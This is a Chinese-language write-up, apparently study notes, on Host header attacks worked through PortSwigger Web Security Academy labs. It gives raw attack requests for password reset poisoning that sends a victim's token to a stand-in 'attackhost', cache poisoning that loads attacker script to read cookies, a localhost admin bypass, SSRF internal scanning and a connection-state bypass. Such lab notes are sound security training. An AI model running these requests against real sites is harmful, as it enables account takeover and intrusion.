Host header的目的是幫助識別客戶端想要與哪個後端元件進行通訊,特別是同一 IP 位址存取多個網站和應用程式,而這種方式也越來越常見,以下是常見的host header用法
- Virtual hosting(虛擬主機):單一 Web 伺服器託管多個網站或應用程式
- 透過中介路由流量:網站託管在不同的後端伺服器上,但客戶端和伺服器之間的所有流量都透過中間路由,例如load balancer,proxy或CDN
Host header攻擊的原理是利用網站沒有安全的處理host header。如果伺服器信任Host header,且無法正確驗證或轉義它,則攻擊者能夠使用此弱點注入惡意內容操縱伺服器端行為,常見的攻擊手法如下
- 重改連結位置
- 利用第2個host快取投毒
- 饒過訪問限制
- 透過SSRF尋找可用的攻擊目標
重改連結位置
如果host能改變重置密碼連結位置,就可以重置其他帳戶的密碼
舉例來說,重設wiener的密碼,正常請求如下
POST /forgot-password HTTP/1.1
Host: ac1f1ffb1f9803ae8051074b00840063.web-security-academy.net
...omit...
csrf=szHcBtBH1NE45ojxzfC6RZwFOW1bFvUK&username=wiener
wiener會收到EMAIL,內含重設密碼連結,而該連結是由host的名稱產生的
https://ac1f1ffb1f9803ae8051074b00840063.web-security-academy.net/forgot-password?temp-forgot-password-token=hibaemuoGikE0EFPmL2NJysIW7ITQrR3
只要訪問該連結,就能更改wiener的密碼
由於重置密碼連結是由host的名稱產生的,因此可透過更改host來改變重置密碼連結的位置
如下,將HOST換成attackhost ,並將對象改為carlos後送出
POST /forgot-password HTTP/1.1
Host: attackhost
...omit...
csrf=szHcBtBH1NE45ojxzfC6RZwFOW1bFvUK&username=carlos
carlos就會收到內含重設密碼連結的email,一旦觸發該連結,就會在attackhost 留下記錄
查看attackhost的日志,就會發現有重設carlos密碼的token
...omit...
"GET /forgot-password?temp-forgot-password-token=uNQWMvdzD999NewFNqUQdDeno2CjzUtc HTTP/1.1" 302
...omit...
只要訪問改密碼的連結搭配uNQWMvdzD999NewFNqUQdDeno2CjzUtc ,就能改carlos的密碼,如下
https://ac1f1ffb1f9803ae8051074b00840063.web-security-academy.net/forgot-password?temp-forgot-password-token=uNQWMvdzD999NewFNqUQdDeno2CjzUtc
lab:Basic password reset poisoning
利用第2個host快取投毒
如果發現第2個host內容會出現在返回結果中,那就可以對目標做快取投毒,如下
############## attack request #############
GET / HTTP/1.1
Host: ac5c1fd31e485e0b800754bc00f00060.web-security-academy.net
Host: attackhost
...omit...
############## attack response #############
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 7
X-Cache: hit
...omit...
<script type="text/javascript" src="//attackhost/resources/js/tracking.js"></script>
...omit...
只要在attackhost/resources/js/tracking.js準備攻擊代碼,就可利用快取投毒攻擊
例如,想顯示cookie,我就可以在這代碼內寫alert(document.cookie)
Lab: Web cache poisoning via ambiguous requests
饒過防問限制
訪問admin時返回只限本地訪問
############## request #############
https://ac801f621fff3b37806a2e2e009a00b5.web-security-academy.net/admin
...omit...
############## response #############
...omit...
Admin interface only available to local users
因為目標存在漏洞,因此將host改為本地即可符合目標需求,成功饒過保護訪問admin
https://ac801f621fff3b37806a2e2e009a00b5.web-security-academy.net/admin
host: localhost
...omit...
Lab: Host header authentication bypass
透過SSRF尋找可用的攻擊目標
更改host名稱為其他主機並發送請求時,其他主機能收到請求,這表示存在SSRF問題,
舉例如下,請求時將host改為Collaboratorclienturl
GET / HTTP/1.1
Host: Collaboratorclienturl
...omit...
在Collaboratorclienturl主機中會看到剛剛請求的日志
假如我知道目標網段為192.168.0.0/24,就可利用host發動SSRF做IP掃描
如下,將Host設為192.168.0.1並送出請求,並重覆一直到192.168.0.255
GET / HTTP/1.1
Host: 192.168.0.1
...omit...
一旦返回發現結果,就可以對該目標規劃後續攻擊活動
############## request #############
GET /
Host: 192.168.0.245
...omit...
############## response #############
HTTP/1.1 302 Found
Location: /admin
Connection: close
Content-Length: 0
Lab: Routing-based SSRF
其他補充
利用有缺陷的請求饒過保護機制
有時候會發現改host後,被目標網站拒絕訪問,如下
############## request #############
GET / HTTP/1.1
Host: Collaboratorclienturl
...omit...
############## response #############
HTTP/1.1 403 Forbidden
這時候可以調整下請求,例如使用絕對路徑訪問,或許可以饒過這個限制,如下
############## request #############
GET https://ac4f1f031f2b9dfe81f1a54200720050.web-security-academy.net/ HTTP/1.1
Host: Collaboratorclienturl
...omit...
############## response #############
HTTP/1.1 200 OK
Lab: SSRF via flawed request parsing
利用連線狀態饒過host保護機制
有些服務器設計不良,可能僅對透過新連線收到的第一個請求執行徹底驗證的伺服器。在這種情況下,可以先發送正常的請求,然後在透過相同連線發送惡意請求來繞過保護機制。
舉例如下,正常訪問admin會顯示找不到
############## request #############
GET /admin/ HTTP/1.1
Host: 0aa800dc0439cfa8c06ea77f0039001f.web-security-academy.net
...omit..
############## response #############
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 11
"Not Found"
將host改為192.168.0.1會被重導回原本的位置
request
GET /admin/ HTTP/1.1
Host: 192.168.0.1
...omit...
response
HTTP/1.1 301 Moved Permanently
Location: https://0aa800dc0439cfa8c06ea77f0039001f.web-security-academy.net/
Connection: close
Content-Length: 0
但由於目標有連線狀態的漏洞,因此可以利用這個問題去饒過保護機制,只要在burpsuite的repeater中,將以下2個請求合為一個group
第一個請求,訪問首頁後加Connection: keep-alive
GET / HTTP/1.1
Host: 0aa800dc0439cfa8c06ea77f0039001f.web-security-academy.net
...omit...
Connection: keep-alive
第二個請求,訪問admin,並更改host為192.168.0.1
GET /admin HTTP/1.1
Host: 192.168.0.1
...omit...
使用single connection送出這個group請求,第二個請求就會返回以下內容
...omit...
<form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
<input required type="hidden" name="csrf" value="z6rxSWRsEj1W8Bzdr7p6iHAUdyKKQ2Ki">
<label>Username</label>
<input required type='text' name='username'>
<button class='button' type='submit'>Delete user</button>
</form>
...omit...
成功饒過目標保護機制
Lab: Host validation bypass via connection state attack